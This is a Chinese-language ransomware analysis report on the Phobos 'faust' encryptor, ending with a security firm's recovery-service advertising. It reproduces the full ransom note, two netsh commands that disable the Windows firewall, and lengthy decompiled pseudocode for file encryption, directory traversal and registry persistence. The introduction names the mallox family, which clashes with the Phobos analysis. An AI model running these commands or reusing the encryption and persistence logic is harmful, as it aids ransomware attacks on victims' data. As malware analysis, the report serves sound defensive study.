【病毒分析】phobos家族faust变种加密器分析

时间: 2024-10-17 16:15:12 浏览量:134

1.背景

1.1来源

  近期,Solar团队收到某物联网公司的援助请求,该公司的计算机服务器受到了mallox勒索家族的侵害,所有的文件被加密并且添加了.faust后缀,该勒索软件的初始入侵方式是利用爆破RDP密码进行的。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。

2.恶意文件基础信息

2.1 文件基础信息

大小59392(58.00 KiB)
操作系统Windows(XP)
架构I386
模式32 位
类型GUI
字节序LE
MD55932e1119f7d71b231a4c519213ae3a0
SHA25617aa246dee83714cef88b0a6c031050620d0360ee070b14ed21c3a2e047379f2

2.2 勒索信

输入图片说明

info.txt
Your data is encrypted and downloaded!

Unlocking your data is possible only with our software.
Important! An attempt to decrypt it yourself or decrypt it with third-party software will result in the loss of your data forever.
Contacting intermediary companies, recovery companies will create the risk of losing your data forever or being deceived by these companies.
Being deceived is your responsibility! Learn the experience on the forums.

Downloaded data of your company.

Data leakage is a serious violation of the law. Don't worry, the incident will remain a secret, the data is protected.
After the transaction is completed, all data downloaded from you will be deleted from our resources. Government agencies, competitors, contractors and local media
not aware of the incident.
Also, we guarantee that your company's personal data will not be sold on DArkWeb resources and will not be used to attack your company, employees
and counterparties in the future.
If you have not contacted within 2 days from the moment of the incident, we will consider the transaction not completed. 
Your data will be sent to all interested parties. This is your responsibility.

Contact us.

Write us to the 
In case of no answer in 24 hours write us to this e-mail:
Write this ID in the title of your message: 
If you have not contacted within 2 days from the moment of the incident, we will consider the transaction not completed. 
Your data will be sent to all interested parties. This is your responsibility.


    Do not rename encrypted files
    Do not try to decrypt your data using third party software, it may cause permanent data loss.
    Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

3.恶意文件分析

3.1威胁分析

病毒家族Phobos
首次出现时间/捕获分析时间2024/01/15 || 2024/03/04
威胁类型勒索软件,加密病毒
勒索软件地区国外
加密文件扩展名形如 .id8E1EA49A-3541.harry_whitest@zohomail.ca.faust
勒索信文件名info.hta info.txt
有无免费解密器?
联系邮箱harry_whitest@zohomail.ca
检测名称Avast (Win32:RansomX-gen Ransom), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen Ransom), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected)
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名。桌面上会显示一条勒索要求消息。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响大部分文件都经过加密,如果不支付赎金无法打开。

3.2加密前后对比

加密前

输入图片说明

输入图片说明

加密后

输入图片说明

输入图片说明

3.3 关闭防火墙

  将调用powshell执行下列命令

netsh  advfirewall set currentprofile state off
netsh  firewall set opmode mode=disable

4.逆向分析

4.1 文件加密 sub_408EBE

  判断文件的大小与1024 KB做比较,以此选择不同的加密函数。

int __usercall sub_408EBE@<eax>(const WCHAR *a1@<edi>, _DWORD *a2, int a3, const WCHAR *lpFileName, char a5)
{
  int FileW; // ebx
  DWORD FileAttributesW; // eax
  int v7; // eax
  LARGE_INTEGER FileSize; // [esp+8h] [ebp-20h] BYREF
  LARGE_INTEGER v10; // [esp+10h] [ebp-18h]
  DWORD dwFileAttributes; // [esp+1Ch] [ebp-Ch]
  DWORD v12; // [esp+20h] [ebp-8h]
  int v13; // [esp+24h] [ebp-4h]

  v13 = 0;
  FileW = (int)CreateFileW(a1, 0x80000000, 7u, 0, 3u, 0, 0);
  if ( FileW == -1 )
    return v13;
  if ( !GetFileSizeEx((HANDLE)FileW, &FileSize) )
    goto LABEL_15;
  CloseHandle((HANDLE)FileW);
  FileW = -1;
  v10 = FileSize;
  if ( FileSize.QuadPart )
  {
    FileAttributesW = GetFileAttributesW(a1);
    dwFileAttributes = FileAttributesW;
    if ( FileAttributesW != -1 )
    {
      v12 = FileAttributesW & 1;
      if ( (FileAttributesW & 1) != 0 )
        SetFileAttributesW(a1, FileAttributesW & 0xFFFFFFFE);
      v7 = (a5 & 1) != 0 || v10.QuadPart < 0x180000ui64
         ? sub_408782(a2, a3, a1, lpFileName, a5)
         : sub_408C42(a3, a1, lpFileName, a5);
      v13 = v7;
      if ( v12 )
      {
        if ( v7 )
        {
          SetFileAttributesW(lpFileName, dwFileAttributes);
          return v13;
        }
        SetFileAttributesW(a1, dwFileAttributes);
LABEL_15:
        if ( FileW != -1 )
          CloseHandle((HANDLE)FileW);
      }
    }
  }
  return v13;
}

4.2 文件加密 sub_408782

  这段代码是一个使用对称加密算法加密文件的函数。它接受要加密的文件、用于加密的密码、原始文件的名称、加密文件的名称以及一些标志作为参数。该函数首先检查文件大小是否是16的倍数,如果不是,则添加填充使其成为16的倍数。

  然后,它创建一个新文件用于加密文件,并使用头部信息对其进行初始化。它以块的形式读取原始文件,并使用对称加密算法加密每个块。然后将加密后的块写入新文件。如果加密成功,则删除原始文件并返回1。如果加密失败,则删除新文件并返回0。该函数还具有删除原始文件和刷新文件缓冲区以提高性能的选项。

int __usercall sub_408782@<eax>(_DWORD *a1@<eax>, int a2, LPCWSTR lpFileName, LPCWSTR a4, char a5)
{
  int v6; // eax
  _DWORD *v7; // ebx
  int v8; // eax
  char *v9; // edi
  HANDLE FileW; // eax
  int v11; // ebx
  int v13; // [esp-Ch] [ebp-2A4h]
  int v14; // [esp-8h] [ebp-2A0h]
  int v15; // [esp-4h] [ebp-29Ch]
  char v16[296]; // [esp+10h] [ebp-288h] BYREF
  char v17[300]; // [esp+138h] [ebp-160h] BYREF
  int v18; // [esp+264h] [ebp-34h]
  int v19; // [esp+268h] [ebp-30h]
  _DWORD *v20; // [esp+26Ch] [ebp-2Ch]
  DWORD NumberOfBytesWritten; // [esp+270h] [ebp-28h] BYREF
  int v22; // [esp+274h] [ebp-24h]
  int v23; // [esp+278h] [ebp-20h]
  DWORD dwFlagsAndAttributes; // [esp+27Ch] [ebp-1Ch]
  LARGE_INTEGER liDistanceToMove; // [esp+280h] [ebp-18h] BYREF
  DWORD nNumberOfBytesToRead; // [esp+288h] [ebp-10h]
  DWORD nNumberOfBytesToWrite; // [esp+28Ch] [ebp-Ch] BYREF
  HANDLE hFile; // [esp+290h] [ebp-8h]
  HANDLE hObject; // [esp+294h] [ebp-4h]

  v23 = 0;
  nNumberOfBytesToRead = a1[9] - (a1[9] & 0xF);
  v19 = sub_408601(lpFileName);
  v6 = sub_4090C6(v19);
  v7 = (_DWORD *)a1[8];
  v18 = 2 * v6 + 2;
  v20 = v7 + 8;
  if ( ((2 * (_BYTE)v6 + 34) & 0xF) != 0 )
    v8 = 32 - ((2 * (_BYTE)v6 + 34) & 0xF) + 2 * v6 + 2 + 16;
  else
    v8 = 2 * v6 + 34;
  v22 = v8;
  v9 = (char *)v7 + v8;
  hObject = (HANDLE)-1;
  dwFlagsAndAttributes = GetFileAttributesW(lpFileName);
  if ( nNumberOfBytesToRead >= (unsigned int)&v9[-a1[8] + 178] && GetFileAttributesW(a4) == -1 )
  {
    FileW = CreateFileW(lpFileName, 0xC0000000, 0, 0, 3u, 0, 0);
    hFile = FileW;
    if ( FileW != (HANDLE)-1 )
    {
      liDistanceToMove.QuadPart = 0i64;
      if ( SetFilePointerEx(FileW, 0i64, &liDistanceToMove, 2u) )
      {
        if ( liDistanceToMove.QuadPart )
        {
          liDistanceToMove.QuadPart = 0i64;
          if ( SetFilePointerEx(hFile, 0i64, &liDistanceToMove, 0) )
          {
            hObject = CreateFileW(a4, 0x40000000u, 1u, 0, 1u, dwFlagsAndAttributes, 0);
            if ( hObject != (HANDLE)-1 && !sub_40669B(v16, *a1, a2) )
            {
              while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
              {
                if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
                {
                  dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
                  sub_408FA9(nNumberOfBytesToWrite + a1[8], 0, dwFlagsAndAttributes);
                  nNumberOfBytesToWrite += dwFlagsAndAttributes;
                }
                if ( !sub_406432(v16, a1[8], a1[8])
                  || !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
                  || NumberOfBytesWritten != nNumberOfBytesToWrite )
                {
                  break;
                }
                if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
                {
                  v15 = v18;
                  *v7 = 0;
                  v14 = v19;
                  v7[1] = 2;
                  v13 = (int)v20;
                  v7[2] = -257466862;
                  v7[6] = 32;
                  sub_408FD7(v13, v14, v15);
                  sub_408FD7(v9, a1 + 1, 20);
                  sub_408FD7(v9 + 20, a2, 16);
                  sub_408FD7(v9 + 40, *a1 + 32, 128);
                  sub_408FD7(v9 + 172, a1 + 6, 6);
                  v11 = v22;
                  *((_DWORD *)v9 + 9) = dwFlagsAndAttributes;
                  *((_DWORD *)v9 + 42) = v11 + 178;
                  if ( !sub_40669B(v17, *a1, a2) )
                  {
                    if ( sub_406432(v17, a1[8], a1[8]) )
                    {
                      sub_408FA9(v17, 0, 296);
                      if ( WriteFile(hObject, (LPCVOID)a1[8], *((_DWORD *)v9 + 42), &NumberOfBytesWritten, 0) )
                      {
                        if ( NumberOfBytesWritten == *((_DWORD *)v9 + 42) )
                        {
                          if ( (a5 & 4) != 0 )
                            sub_4086B7(hFile);
                          if ( (a5 & 2) != 0 )
                          {
                            FlushFileBuffers(hFile);
                            FlushFileBuffers(hObject);
                          }
                          v23 = 1;
                        }
                      }
                    }
                  }
                  break;
                }
              }
              sub_408FA9(v16, 0, 296);
            }
          }
        }
      }
      CloseHandle(hFile);
      if ( hObject != (HANDLE)-1 )
        CloseHandle(hObject);
      if ( v23 )
      {
        DeleteFileW(lpFileName);
      }
      else if ( hObject != (HANDLE)-1 )
      {
        DeleteFileW(a4);
      }
    }
  }
  return v23;
}

  上文中发现,文件加密后会多一些数据在文件的尾部,其中多出的数据在此次生成。

sub_408FD7(v13, v14, v15);
sub_408FD7(v9, a1 + 1, 20);
sub_408FD7(v9 + 20, a2, 16);
sub_408FD7(v9 + 40, *a1 + 32, 128);
sub_408FD7(v9 + 172, a1 + 6, 6);

  经过动态调试得知,加密完文件内容后会加密文件的基础信息,包括文件名,加密文件使用的密钥等信息,并将加密后的数据写入文件尾部。

4.3 加密核心 sub_406432

  此函数间接调用了sub_407447,sub_407447为对称加密算法,值得注意的是,函数sub_407447同时也实现了解密功能,区别点在于调用参数不同。

  函数sub_407447接受一个上下文、一个确定是加密还是解密的标志,以及两个用于输入和输出数据的缓冲区。该函数的目的是对输入数据进行加密或解密,并将结果存储在输出缓冲区中。该函数使用循环以16字节的块迭代输入数据,并对每个块进行加密或解密操作。

BOOL __cdecl sub_406432(int a1, int a2, int a3)
{
  return sub_407447(a1, 1, a2, a3) == 0;
}
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
  int v4; // ecx
  char *v5; // eax
  unsigned int v7; // ebx
  _BYTE *v8; // eax
  int v9; // esi
  int v10; // ebx
  _DWORD *v11; // esi
  _BYTE *v12; // eax
  int v13; // ecx
  _DWORD *v14; // esi
  bool v15; // zf
  int v16; // [esp+0h] [ebp-18h]
  int v17; // [esp+4h] [ebp-14h]
  int v18; // [esp+8h] [ebp-10h]
  int v19; // [esp+Ch] [ebp-Ch]
  int v20; // [esp+10h] [ebp-8h]
  unsigned int v21; // [esp+10h] [ebp-8h]
  int *v22; // [esp+14h] [ebp-4h]

  v5 = (char *)(a1 + 2);
  if ( (v4 & 0xF) != 0 )
    return -34;
  if ( a2 )
  {
    if ( v4 )
    {
      v10 = v5 - a3;
      v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
      do
      {
        v11 = a4;
        v12 = a3;
        v13 = 16;
        do
        {
          v12[(char *)a4 - a3] = *v12 ^ v12[v10];
          ++v12;
          --v13;
        }
        while ( v13 );
        if ( a2 == 1 )
          sub_406A04(a1);
        else
          sub_406F2A(a1);
        a3 += 16;
        a4 += 4;
        a1[2] = *v11;
        v14 = v11 + 1;
        a1[3] = *v14++;
        a1[4] = *v14;
        v10 -= 16;
        v15 = v21-- == 1;
        a1[5] = v14[1];
      }
      while ( !v15 );
    }
  }
  else if ( v4 )
  {
    v22 = (int *)a3;
    v20 = v5 - (char *)a4;
    v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
    do
    {
      v16 = *v22;
      v17 = v22[1];
      v18 = v22[2];
      v19 = v22[3];
      sub_406F2A(a1);
      v8 = a4;
      v9 = 16;
      do
      {
        *v8 ^= v8[v20];
        ++v8;
        --v9;
      }
      while ( v9 );
      v22 += 4;
      v20 -= 16;
      --v7;
      a1[2] = v16;
      a1[3] = v17;
      a1[4] = v18;
      a1[5] = v19;
      a4 = v8;
    }
    while ( v7 );
  }
  return 0;
}

4.4 目录遍历 sub_405D61

  遍历目录并通过pipe发送到加密函数加密。

int __cdecl sub_405D61(
        __int16 *a1,
        int (__cdecl *a2)(__int16 *, WCHAR *, struct _WIN32_FIND_DATAW *, int),
        int a3,
        unsigned int a4,
        int a5)
{
  WCHAR *v5; // eax
  WCHAR *v6; // esi
  int v7; // ebx
  int v8; // eax
  int v9; // eax
  struct _WIN32_FIND_DATAW FindFileData; // [esp+10h] [ebp-25Ch] BYREF
  HANDLE hFindFile; // [esp+260h] [ebp-Ch]
  int v13; // [esp+264h] [ebp-8h]

  v13 = 0;
  if ( a1 )
  {
    if ( a4 >= sub_4090C6(a1) + 2 )
    {
      v5 = (WCHAR *)sub_409041(2 * a4 + 2);
      v6 = v5;
      if ( v5 )
      {
        sub_40927D((int)v5, a1);
        sub_4092B4(v6, L"\\*");
        hFindFile = FindFirstFileW(v6, &FindFileData);
        if ( hFindFile != (HANDLE)-1 )
        {
          do
          {
            if ( FindFileData.cFileName[0] != 46
              || FindFileData.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2]) )
            {
              v7 = sub_4090C6(a1);
              if ( a4 >= v7 + sub_4090C6(FindFileData.cFileName) + 1 )
              {
                sub_40927D((int)v6, a1);
                sub_4092B4(v6, &unk_40A208);
                sub_4092B4(v6, FindFileData.cFileName);
                v8 = a2(a1, v6, &FindFileData, a3);
                if ( v8 )
                {
                  if ( v8 < 0 )
                    break;
                  if ( a5 && (FindFileData.dwFileAttributes & 0x10) != 0 )
                  {
                    v9 = sub_405D61((__int16 *)v6, a2, a3, a4, a5 - 1);
                    v13 += v9;
                  }
                  else
                  {
                    ++v13;
                  }
                }
              }
            }
          }
          while ( FindNextFileW(hFindFile, &FindFileData) );
          FindClose(hFindFile);
        }
        free(v6);
      }
    }
  }
  return v13;
}

4.5 UAC sub_403E39

检查当前进程是否以管理员权限运行。

int sub_403E39()
{
  int v0; // esi
  HANDLE CurrentProcess; // eax
  int TokenInformation; // [esp+4h] [ebp-Ch] BYREF
  DWORD ReturnLength; // [esp+8h] [ebp-8h] BYREF
  HANDLE TokenHandle; // [esp+Ch] [ebp-4h] BYREF

  v0 = 0;
  TokenHandle = 0;
  if ( (unsigned __int8)GetVersion() < 6u )
    return 1;
  CurrentProcess = GetCurrentProcess();
  if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
  {
    ReturnLength = 4;
    if ( GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength) )
      v0 = TokenInformation;
  }
  if ( TokenHandle )
    CloseHandle(TokenHandle);
  return v0;
}

4.6 Powshell执行 sub_404B85

int __stdcall sub_404B85(LPVOID lpThreadParameter)
{
  DWORD v1; // eax
  HANDLE hWritePipe; // [esp+Ch] [ebp-84h] BYREF
  HANDLE hReadPipe; // [esp+10h] [ebp-80h] BYREF
  HANDLE hObject; // [esp+14h] [ebp-7Ch] BYREF
  HANDLE v6; // [esp+18h] [ebp-78h] BYREF
  int v7; // [esp+1Ch] [ebp-74h] BYREF
  LPCWSTR lpApplicationName; // [esp+20h] [ebp-70h]
  int v9; // [esp+24h] [ebp-6Ch]
  DWORD NumberOfBytesWritten; // [esp+28h] [ebp-68h] BYREF
  struct _SECURITY_ATTRIBUTES PipeAttributes; // [esp+2Ch] [ebp-64h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+38h] [ebp-58h] BYREF
  struct _STARTUPINFOW StartupInfo; // [esp+48h] [ebp-48h] BYREF

  v9 = 0;
  v7 = 0;
  lpApplicationName = (LPCWSTR)sub_403BB3(41);
  hReadPipe = (HANDLE)-1;
  hWritePipe = (HANDLE)-1;
  hObject = (HANDLE)-1;
  v6 = (HANDLE)-1;
  sub_408FA9((char *)&StartupInfo, 0, 0x44u);
  sub_408FA9((char *)&PipeAttributes, 0, 0xCu);
  sub_408FA9((char *)&ProcessInformation, 0, 0x10u);
  PipeAttributes.bInheritHandle = 1;
  PipeAttributes.nLength = 12;
  sub_403D4B((int)&v7, 0);
  if ( CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0) )
  {
    if ( CreatePipe(&hObject, &v6, &PipeAttributes, 0) )
    {
      if ( SetHandleInformation(hWritePipe, 1u, 0) )
      {
        if ( SetHandleInformation(hObject, 1u, 0) )
        {
          StartupInfo.hStdInput = hReadPipe;
          StartupInfo.hStdOutput = v6;
          StartupInfo.hStdError = v6;
          StartupInfo.wShowWindow = 0;
          StartupInfo.cb = 68;
          StartupInfo.dwFlags = 257;
          if ( CreateProcessW(lpApplicationName, 0, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation) )
          {
            v1 = sub_4090B5(lpThreadParameter);
            WriteFile(hWritePipe, lpThreadParameter, v1, &NumberOfBytesWritten, 0);
            WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF);
            sub_403D4B((int)&v7, 1);
            v9 = 1;
          }
        }
      }
    }
  }
  if ( ProcessInformation.hProcess )
    CloseHandle(ProcessInformation.hProcess);
  if ( ProcessInformation.hThread )
    CloseHandle(ProcessInformation.hThread);
  if ( hReadPipe != (HANDLE)-1 )
    CloseHandle(hReadPipe);
  if ( hWritePipe != (HANDLE)-1 )
    CloseHandle(hWritePipe);
  if ( hObject != (HANDLE)-1 )
    CloseHandle(hObject);
  if ( v6 != (HANDLE)-1 )
    CloseHandle(v6);
  sub_4039DA((LPVOID)lpApplicationName);
  sub_4039F9(lpThreadParameter);
  return v9;
}

4.7 自我复制 sub_211236

  复制自身到特殊目录达到开机自启的目的。

输入图片说明

HKEY sub_211236()
{
  BYTE *v0; // ebx
  int v1; // eax
  DWORD FileAttributesW; // eax
  int i; // eax
  DWORD v4; // eax
  HKEY phkResult; // [esp+14h] [ebp-34h] BYREF
  LPVOID v7; // [esp+18h] [ebp-30h]
  LPVOID v8; // [esp+1Ch] [ebp-2Ch]
  LPCWSTR lpSubKey; // [esp+20h] [ebp-28h]
  int v10; // [esp+24h] [ebp-24h]
  HKEY v11; // [esp+28h] [ebp-20h] BYREF
  LPVOID v12; // [esp+2Ch] [ebp-1Ch]
  LPVOID v13; // [esp+30h] [ebp-18h]
  LPVOID lpMem; // [esp+34h] [ebp-14h] BYREF
  LPVOID v15; // [esp+38h] [ebp-10h]
  LPCWSTR lpValueName; // [esp+3Ch] [ebp-Ch]
  LPCWSTR v17; // [esp+40h] [ebp-8h]
  LPCWSTR lpExistingFileName; // [esp+44h] [ebp-4h]

  phkResult = 0;
  lpSubKey = (LPCWSTR)sub_216347(17, 0);
  v8 = (LPVOID)sub_213BB3(16);
  v7 = (LPVOID)sub_213BB3(18);
  v13 = (LPVOID)sub_213BB3(67);
  v12 = (LPVOID)sub_219041(0x20Au);
  lpExistingFileName = (LPCWSTR)sub_219041(0x20Au);
  v17 = (LPCWSTR)sub_219041(0x20Au);
  v0 = (BYTE *)sub_219041(0x20Au);
  lpValueName = (LPCWSTR)sub_219041(0x20Au);
  v15 = (LPVOID)sub_219041(0x20Au);
  lpMem = 0;
  if ( v0
    && lpExistingFileName
    && sub_215B0E((LPWSTR)lpExistingFileName)
    && v17
    && v12
    && sub_215B20(v12)
    && sub_2159F1((int)v17, 0x104u, 3)
    && lpValueName
    && sub_215B7C(lpValueName, 0)
    && v15
    && sub_215B7C(v15, 1)
    && sub_2159F1((int)v0, 0x104u, 3) )
  {
    if ( CopyFileW(lpExistingFileName, (LPCWSTR)v0, 0) )
    {
      v10 = sub_2190C6(v0);
      v10 = RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20106u, &phkResult) ? 0 : sub_213A93(lpValueName, v0);
      sub_2190C6(v0);
      v1 = RegOpenKeyExW(HKEY_CURRENT_USER, lpSubKey, 0, 0x20106u, &v11) ? 0 : sub_213A93(lpValueName, v0);
      phkResult = (HKEY)(v10 > 0 || v1 > 0);
      if ( sub_2159F1((int)v0, 0x104u, 3) )
      {
        CopyFileW(v17, (LPCWSTR)v0, 1);
        FileAttributesW = GetFileAttributesW((LPCWSTR)v0);
        if ( FileAttributesW != -1 )
          SetFileAttributesW((LPCWSTR)v0, FileAttributesW | 2);
      }
    }
    if ( v7 )
    {
      sub_2135D2(&lpMem);
      if ( lpMem )
      {
        v11 = 0;
        for ( i = sub_2135A4(0); ; i = sub_2135A4(v11) )
        {
          v10 = i;
          if ( !i )
            break;
          if ( sub_2159F1((int)v0, 0x104u, 3) )
          {
            CopyFileW(lpExistingFileName, (LPCWSTR)v0, 1);
            if ( sub_2159F1((int)v0, 0x104u, 3) )
            {
              CopyFileW(v17, (LPCWSTR)v0, 1);
              v4 = GetFileAttributesW((LPCWSTR)v0);
              if ( v4 != -1 )
                SetFileAttributesW((LPCWSTR)v0, v4 | 2);
            }
          }
          v11 = (HKEY)((char *)v11 + 1);
        }
        sub_2190A1(lpMem);
      }
    }
  }
  sub_2139DA(v13);
  sub_2139DA(v12);
  sub_2139DA((LPVOID)lpExistingFileName);
  sub_2139DA((LPVOID)v17);
  sub_2139DA(v0);
  sub_2139DA((LPVOID)lpValueName);
  sub_2139DA(v15);
  sub_2139DA((LPVOID)lpSubKey);
  sub_2139DA(v8);
  sub_2139DA(v7);
  return phkResult;
}

5.病毒分析概览

  病毒启动后,首先检查是否为管理员权限,若不是管理员权限则弹出UAC窗口授权,紧接着使用命令行关闭系统防火墙,并复制自身到系统相关目录中实现开机自启,遍历文件夹并加密,在桌面输出勒索信息。

6.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

7.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318

相关案例

【案例介绍】赎金提高,防御失效:某上市企业两年内两度陷入同一勒索团伙之手

Hunters International是一种基于RaaS(勒索软件即服务)模式运营的勒索病毒组织,起源于2023年,可能是Hive勒索病毒的演变版本。通过DLS(数据泄露网站)公开受害者数据,猎物包括企业和上市公司,如Exela Technologies,其数据泄露案例引发广泛关注。本文详细解析Hunters组织的攻击模式、技术特点及其对企业的威胁,并提供暗网泄露平台的访问方式与界面展示。了解此类勒索病毒家族有助于提升网络安全意识和保护企业关键数据。

某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目

SolarSecurity成功解密了Phobos勒索病毒的jopanaxye变种,恢复了某集团公司12台服务器上3.97TB的加密数据。团队通过应急响应、文件解密及后门排查,帮助企业恢复数据并加强系统防护,防止类似勒索攻击再次发生。

某集团公司的Phobos最新变种勒索病毒2700解密恢复项目

SolarSecurity成功应对Phobos勒索病毒2700变种,通过RDP暴力破解入侵企业服务器并加密近4TB的数据。团队迅速解密并恢复了被加密的文件,排查了多个后门并加强了系统安全防护,帮助企业提高抵御勒索病毒的能力。

某房地产公司的mallox最新变种勒索病毒rmallox解密恢复项目

SolarSecurity成功恢复了某房地产公司因rmallox勒索病毒导致的加密数据。此次攻击通过NAS系统服务器漏洞入侵,并在24小时内完成数据解密和系统修复。团队还进行了后门排查和系统加固,并提供了全面的安全评估和渗透测试服务,确保系统免受未来威胁。

利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目

SolarSecurity通过多款国产内网渗透工具,成功恢复了一家影视公司在勒索病毒攻击中被加密的数十台虚拟机数据。攻击者利用用友NC系统漏洞和内网工具实施勒索,最终公司通过渗透测试和漏洞修复恢复了22.45TB的加密数据,并对系统进行全面的安全加固。